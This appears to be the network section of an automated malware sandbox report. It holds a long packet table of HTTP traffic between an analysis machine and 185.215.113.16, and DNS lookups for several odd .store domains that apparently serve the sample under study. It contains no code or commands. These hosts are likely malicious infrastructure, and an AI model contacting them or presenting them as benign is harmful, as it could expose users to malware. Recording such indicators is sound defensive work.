Oct 31, 2024 04:16:22.848522902 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.848558903 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.848572969 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.848617077 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.853149891 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.853177071 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.853192091 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.853233099 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.853264093 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.853281975 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.853297949 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.853336096 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.857865095 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.857880116 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.857901096 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.857908964 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.857918024 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.857948065 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.858005047 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.858021021 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.858033895 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.858045101 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.858066082 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.858093023 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.862576008 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.862591982 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.862653017 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.862732887 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.862749100 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.862762928 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.862777948 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.862786055 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.862799883 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.862819910 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.867291927 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.867307901 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.867340088 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.867378950 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.867490053 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.867506027 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.867521048 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.867546082 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.867558002 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.872066021 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.872081995 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.872096062 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.872128010 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.872139931 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.872155905 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.872172117 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.872227907 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.876800060 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.876817942 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.876830101 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.876852989 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.876864910 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.876871109 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.876876116 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.876887083 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.876893044 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.876913071 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.876929998 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.881531954 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.881546974 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.881560087 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.881606102 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.881608009 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.881623030 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.881637096 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.881647110 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.881659031 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.881681919 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886313915 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886337996 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886358976 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886387110 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886403084 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886419058 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886434078 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886440992 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886451960 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886459112 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886470079 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886481047 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886493921 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886498928 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886507988 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886513948 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886533022 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886534929 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886545897 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886554956 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886565924 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886570930 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886593103 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886600971 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886609077 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886626005 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886632919 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886640072 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886647940 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886653900 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886665106 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886674881 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886683941 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886691093 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886699915 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886712074 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886715889 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886732101 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886739016 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886749029 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886769056 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886775970 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886776924 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886790037 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886806011 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886821032 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886828899 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886835098 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886851072 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886862993 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886866093 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886882067 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886893034 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886898041 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886907101 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886914968 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886929989 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886935949 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886945963 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886960030 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886974096 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.886986017 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.886991978 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887013912 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887015104 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887029886 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887039900 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887044907 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887058973 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887059927 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887068987 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887075901 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887089014 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887090921 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887105942 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887126923 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887145042 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887341022 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887356043 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887371063 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887386084 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887392044 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887398958 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887419939 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887420893 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887434959 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887439966 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887459040 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887464046 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887478113 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887480021 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887495995 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887511015 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887511015 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887521982 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887528896 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887542009 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887545109 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887557983 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887559891 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887571096 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887576103 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887588024 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887598038 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887603045 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887618065 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887630939 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887631893 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887640953 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887648106 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887664080 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887670040 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887693882 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887717962 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.887960911 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887975931 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.887989998 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888004065 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888005972 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888031960 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888041019 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888142109 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888158083 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888173103 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888187885 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888200045 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888204098 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888220072 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888231993 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888233900 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888252020 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888263941 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888267994 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888277054 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888299942 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888300896 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888317108 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888318062 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888339996 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888346910 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888397932 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888412952 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888425112 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888443947 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888458967 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888459921 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888467073 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888475895 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888490915 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888494015 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888504028 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888511896 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888520002 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888534069 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888535023 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888551950 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888554096 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888566017 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888571024 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888593912 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888605118 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888619900 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888619900 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888638020 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888654947 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888662100 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888672113 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.888683081 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.888706923 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.893676996 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.893733025 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.893788099 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.893871069 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.893913984 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.893920898 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.893937111 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.893959999 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.893970013 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.893973112 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.893985033 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894005060 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894009113 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894020081 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894046068 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894062996 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894093037 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894102097 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894133091 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894140959 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894171000 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894184113 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894187927 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894203901 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894208908 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894221067 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894227982 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894243002 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894282103 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894296885 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894310951 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894326925 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894329071 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894341946 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894351959 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894373894 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894378901 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894395113 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894432068 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894432068 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894432068 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894486904 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894501925 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894517899 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894524097 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894534111 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894541025 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894550085 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894556046 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894568920 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894587994 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894629955 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894644022 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894663095 CET	80	49891	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:22.894668102 CET	49891	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:22.894685030 CET	80	49891	185.215.113.16	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 04:14:55.569113970 CET	192.168.2.4	1.1.1.1	0xc783	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:14:55.583137035 CET	192.168.2.4	1.1.1.1	0x1c32	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:14:55.594600916 CET	192.168.2.4	1.1.1.1	0xb0a	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:14:55.604841948 CET	192.168.2.4	1.1.1.1	0x4e23	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:14:55.615387917 CET	192.168.2.4	1.1.1.1	0x7a09	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:12.956938028 CET	192.168.2.4	1.1.1.1	0x1277	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:12.970588923 CET	192.168.2.4	1.1.1.1	0x195c	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:12.981398106 CET	192.168.2.4	1.1.1.1	0xb0cd	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:12.993087053 CET	192.168.2.4	1.1.1.1	0xd045	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:25.879579067 CET	192.168.2.4	1.1.1.1	0x16c3	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:25.893850088 CET	192.168.2.4	1.1.1.1	0xbf6b	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:25.904645920 CET	192.168.2.4	1.1.1.1	0x61c8	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:25.915405989 CET	192.168.2.4	1.1.1.1	0xbd53	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:34.607762098 CET	192.168.2.4	1.1.1.1	0xb903	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:34.623402119 CET	192.168.2.4	1.1.1.1	0xe2e0	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 04:16:37.212285995 CET	192.168.2.4	1.1.1.1	0x924f	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:37.220381021 CET	192.168.2.4	1.1.1.1	0x8882	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:37.227744102 CET	192.168.2.4	1.1.1.1	0x84a5	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 31, 2024 04:16:37.394867897 CET	192.168.2.4	1.1.1.1	0xa48	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:37.405366898 CET	192.168.2.4	1.1.1.1	0x1717	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:37.430733919 CET	192.168.2.4	1.1.1.1	0x8ab	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 04:16:37.791416883 CET	192.168.2.4	1.1.1.1	0xa6a5	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:37.805691957 CET	192.168.2.4	1.1.1.1	0xc006	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
